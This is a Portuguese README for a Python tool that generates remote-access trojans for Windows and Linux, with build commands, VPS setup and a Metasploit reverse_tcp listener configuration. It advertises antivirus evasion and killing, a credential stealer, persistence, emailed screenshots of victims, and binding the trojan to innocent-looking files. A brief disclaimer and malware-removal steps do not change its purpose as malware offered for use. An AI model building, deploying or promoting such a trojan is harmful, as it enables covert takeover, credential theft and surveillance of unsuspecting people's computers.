THorse

THorse é um gerador de RAT (Trojan de Administração Remota) para sistemas Windows/Linux escrito em Python 3.

                    Este pequeno script em Python pode fazer um trabalho realmente incrível.

Aviso Legal

:computer: Este projeto foi criado apenas para bons propósitos e uso pessoal.

ESTE SOFTWARE É FORNECIDO "COMO ESTÁ", SEM GARANTIA DE QUALQUER TIPO. VOCÊ PODE USAR ESTE SOFTWARE POR SUA CONTA E RISCO. O USO É DE TOTAL RESPONSABILIDADE DO USUÁRIO FINAL. OS DESENVOLVEDORES NÃO ASSUMEM NENHUMA RESPONSABILIDADE E NÃO SÃO RESPONSÁVEIS POR QUALQUER USO INDEVIDO OU DANO CAUSADO POR ESTE PROGRAMA.

Funcionalidades

• Funciona em Windows/Linux
• Notificar nova vítima por e-mail
• Indetectável
• Não requer privilégios de root ou administrador
• Persistência
• Envia captura de tela da tela do PC da vítima por e-mail
• Dá acesso total ao Meterpreter ao atacante
• Nunca precisou do Metasploit instalado para criar o trojan
• Cria binário executável com zero dependências
• Cria payload de tamanho reduzido ~ 5 MB com funcionalidade avançada
• Ofusca o payload antes de compilá-lo, contornando assim mais alguns antivírus
• O payload gerado é codificado com Base64, dificultando extremamente a engenharia reversa
• Mata o antivírus no PC da vítima e tenta desabilitar a Central de Segurança do Windows
• Interface colorida incrível para gerar payload

Nota: O Stealer personalizado foi codificado, não depende do LaZagne

Testado em

Kali Linux - EDIÇÃO ROLLING

Windows 10

Windows 8.1 - Pro

Windows 7 - Ultimate

A seguir estão as limitações do payload meterpreter gerado usando metasploit:-

• É necessário executar o Listener do Metasploit antes de executar o backdoor
• O backdoor por si só não se torna persistente, temos que usar os módulos de pós-exploração para torná-lo persistente. E os módulos de pós-exploração só podem ser usados após uma exploração bem-sucedida.
• Não nos notifica sempre que o payload é executado em um novo sistema.

Todos sabemos o quão poderoso é o payload Meterpreter, mas ainda assim o payload feito a partir dele não é satisfatório.

A seguir estão as funcionalidades deste gerador de payload que lhe darão uma boa ideia deste script em Python:-

• Usa o registro do Windows para se tornar persistente no Windows.
• Também consegue se tornar persistente em sistema Linux.
• O payload pode ser executado tanto em LINUX quanto em WINDOWS.
• Fornece acesso total, pois o listener do metasploit pode ser usado, além de suportar listener personalizado (Você pode Criar Seu Próprio Listener)
• Envia notificação por e-mail sempre que o payload é executado em um novo sistema, com informações completas do sistema.
• Gera payload em 1 minuto ou menos.
• Suporta todos os módulos de pós-exploração do meterpreter.
• O payload pode ser criado tanto em Windows quanto em Linux.

Pré-requisitos

• Python 3.X
• Alguns módulos externos

Observação importante:

No Windows, por favor, especifique/defina o caminho do Pyinstaller em paygen.py [Linha 14]

O caminho padrão é: PYTHON_PYINSTALLER_PATH = os.path.expanduser("C:/Python37-32/Scripts/pyinstaller.exe")

Altere de acordo com o seu sistema

Como Usar no Linux

# Install dependencies 
$ Install latest python 3.x

# Navigate to the /opt directory (optional)
$ cd /opt/

# Clone this repository
$ git clone https://github.com/PushpenderIndia/thorse.git

# Go into the repository
$ cd thorse

# Installing dependencies
$ bash installer_linux.sh

# If you are getting any errors while executing installer_linux.sh, try to install using installer_linux.py
$ python3 installer_linux.py

$ chmod +x paygen.py
$ python3 paygen.py --help

# Making Payload/RAT
$ python3 paygen.py --ip 127.0.0.1 --port 8080 -e [email protected] -p YourEmailPass -l -o output_file_name --icon icon_path

# Making Payload/RAT with Custom AVKiller [By Default, Tons of Know AntiVirus is added in Kill_Targets]
$ python3 paygen.py --ip 127.0.0.1 --port 8080 -e [email protected] -p YourEmailPass -l -o output_file_name --icon icon_path --kill_av AntiVirus.exe

# Making Payload/RAT with Custom Time to become persistence
$ python3 paygen.py --ip 127.0.0.1 --port 8080 -e [email protected] -p YourEmailPass -l -o output_file_name --icon icon_path --persistence 10 

Note: You can also use our custom icons from the icon folder, just use them like this  --icon icon/pdf.ico

Como Usar em VPS (Recomendado)

# 1. Setup a VPS, You can buy Ubuntu VPS from any VPS Provider such as Digital Ocean, Linode, AWS, etc

# 2. Connect to your VPS Using SSH
$ ssh username@ip_address

# 3. Update Your Linux VPS
$ sudo apt update

# 4. Add Kali Linux Repository
$ sudo sh -c "echo 'deb https://http.kali.org/kali kali-rolling main non-free contrib' > /etc/apt/sources.list.d/kali.list"

# 5. Install gnupg package
$ sudo apt install gnupg

# 6. Add Kali Public Keys
$ wget 'https://archive.kali.org/archive-key.asc' && sudo apt-key add archive-key.asc

# 7. Update VPS
$ sudo apt update

# 8. Set Kali Priority
$ sudo sh -c "echo 'Package: *'>/etc/apt/preferences.d/kali.pref; echo 'Pin: release a=kali-rolling'>>/etc/apt/preferences.d/kali.pref; echo 'Pin-Priority: 50'>>/etc/apt/preferences.d/kali.pref"

# 9. Update VPS
$ sudo apt update

# 10. Install Metasploit Framework in VPS
$ sudo apt install -t kali-rolling metasploit-framework

# NOTE: Above Steps needs to be performed only for once 

# 11. Install pip3
$ sudo apt install python3-pip

# 12. Clone this repository
$ git clone https://github.com/PushpenderIndia/thorse.git

# 13. Go into the repository
$ cd thorse

# 14. Installing dependencies
$ bash installer_linux.sh

# 15. If you are getting any errors while executing installer_linux.sh, try to install using installer_linux.py
$ python3 installer_linux.py

$ 16. chmod +x paygen.py
$ python3 paygen.py --help

# Making Payload/RAT (If you want to Compile RAT for Windows, then Build RAT on Windows Machine & Use VPS for Controlling RAT Remotely)
$ python3 paygen.py --ip VPS_Public_IP_Address --port 8080 -e [email protected] -p YourEmailPass -l -o output_file_name --icon icon_path

# Making Payload/RAT with Custom AVKiller [By Default, Tons of Know AntiVirus is added in Kill_Targets]
$ python3 paygen.py --ip VPS_Public_IP_Address --port 8080 -e [email protected] -p YourEmailPass -l -o output_file_name --icon icon_path --kill_av AntiVirus.exe

# Making Payload/RAT with Custom Time to become persistence
$ python3 paygen.py --ip VPS_Public_IP_Address --port 8080 -e [email protected] -p YourEmailPass -l -o output_file_name --icon icon_path --persistence 10 

Note: You can also use our custom icons from the icon folder, just use them like this  --icon icon/pdf.ico

Como Usar no Windows

# Install dependencies 
$ Install latest python 3.x

# Clone this repository
$ git clone https://github.com/PushpenderIndia/thorse.git

# Go into the repository
$ cd thorse

# Installing dependencies
$ python -m pip install -r requirements.txt

# Open paygen.py in Text editor and Configure Line 15, set Pyinstaller path, Default Path is as follows :-
# PYTHON_PYINSTALLER_PATH = os.path.expanduser("C:/Python37-32/Scripts/pyinstaller.exe") 

# Getting Help Menu
$ python paygen.py --help

# Making Payload/RAT
$ python paygen.py --ip 127.0.0.1 --port 8080 -e [email protected] -p YourEmailPass -w -o output_file_name --icon icon_path

# Making Payload/RAT with Custom AVKiller [By Default, Tons of Know AntiVirus is added in Kill_Targets]
$ python paygen.py --ip 127.0.0.1 --port 8080 -e [email protected] -p YourEmailPass -l -o output_file_name --icon icon_path --kill_av AntiVirus.exe

# Making Payload/RAT binded with legitimate file [Any file .exe, .pdf, .txt etc]
$ python paygen.py --ip 127.0.0.1 --port 8080 -e [email protected] -p YourEmailPass -l -o output_file_name --icon icon/txt.ico --bind passwords.txt 

Note: You can also use our custom icons from the icon folder, just use them like this  --icon icon/pdf.ico

Nota:- O arquivo malicioso será salvo dentro da pasta dist/, dentro da pasta technowhorse/

Estabelecendo Conexão Usando Msfconsole

• Você precisa instalar o Metasploit-Framework no seu sistema para estabelecer a conexão

• Configurações recomendadas. Você pode tentar testar com qualquer outro payload na linha 2

$ sudo msfconsole
msf3> use exploit/multi/handler
msf3> set payload python/meterpreter/reverse_tcp
msf3> set LHOST 192.168.43.221
msf3> set LPORT 443
msf3> run

Como Atualizar

• Execute o updater.py para atualizar automaticamente ou baixe o último ZIP deste repositório do GitHub
• Nota: O Git deve estar instalado para usar o updater.py

Argumentos Disponíveis

• Argumentos Opcionais

Nota: Deve ser especificado -w/--windows ou -l/--linux

• Argumentos Obrigatórios

Novas Capturas de Tela:

Obtendo Ajuda

Gerando payload

Consulte também estas imagens antigas

~Capturas de Tela Antigas:

Obtendo Ajuda

Executando o Script paygen.py

Quando o RAT é executado, ele adiciona uma entrada no Registro para se tornar persistente

Cria uma cópia de si mesmo e a salva dentro de Roaming

Relatório enviado pelo RAT

Recebendo Notificação do PC da Vítima

Contribuidores:

Atualmente este repositório é mantido por mim (Pushpender Singh). Mas se você quiser se tornar um contribuidor, adicione algum recurso interessante e faça um pull request. Eu revisarei e mesclarei neste repositório.

Todos os pull requests de contribuidores serão aceitos se forem válidos para este repositório.

TODO

• Adicionar novas funcionalidades
• Contribuir com GUI

Removendo TechNowHorse no Windows:

Método 1:

• Vá em Iniciar, digite regedit e execute o primeiro programa. Isso abrirá o editor de registro.
• Navegue até o seguinte caminho: Computer\HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run. Deve haver uma entrada chamada winexplorer. Clique com o botão direito nela e selecione Excluir.
• Vá para o caminho do seu usuário > AppData > Roaming. Você verá um arquivo chamado "explorer.exe". Este é o RAT. Clique com o botão direito > Excluir.
• Reinicie o sistema.

Método 2:

• Execute "RemoveTHorse.bat" no sistema infectado e reinicie o PC para interromper a execução atual do arquivo malicioso.

Removendo TechNowHorse no Linux:

• Abra o arquivo de inicialização automática com qualquer editor de texto. Caminho do arquivo de inicialização automática: ~/.config/autostart/xinput.desktop

• Remova estas 5 linhas:

  root@kitploit:~

     [Desktop Entry]
     Type=Application
     X-GNOME-Autostart-enabled=true
     Name=Xinput
     Exec="destination_file_name"
  

• Nota: destination_file_name é o nome que você deu ao arquivo malicioso usando o parâmetro -o

• Reinicie o sistema e exclua o arquivo malicioso armazenado neste caminho abaixo

• Caminho de destino, onde o TrojanHorse está armazenado: ~/.config/xnput

Contribuidores

• Lista de Contribuidores Dedicados: Contribuidores

Pushpender Singh :computer:

Contribuições de qualquer tipo são bem-vindas!

OBSERVAÇÃO: Se você deveria estar na lista de contribuidores e nós esquecemos, por favor nos avise!

Lista de TODOs

• Sugira sua própria funcionalidade :)
• Desenvolvimento de GUI
• Correção de bugs
• Adicionar mais coletores de senhas de navegadores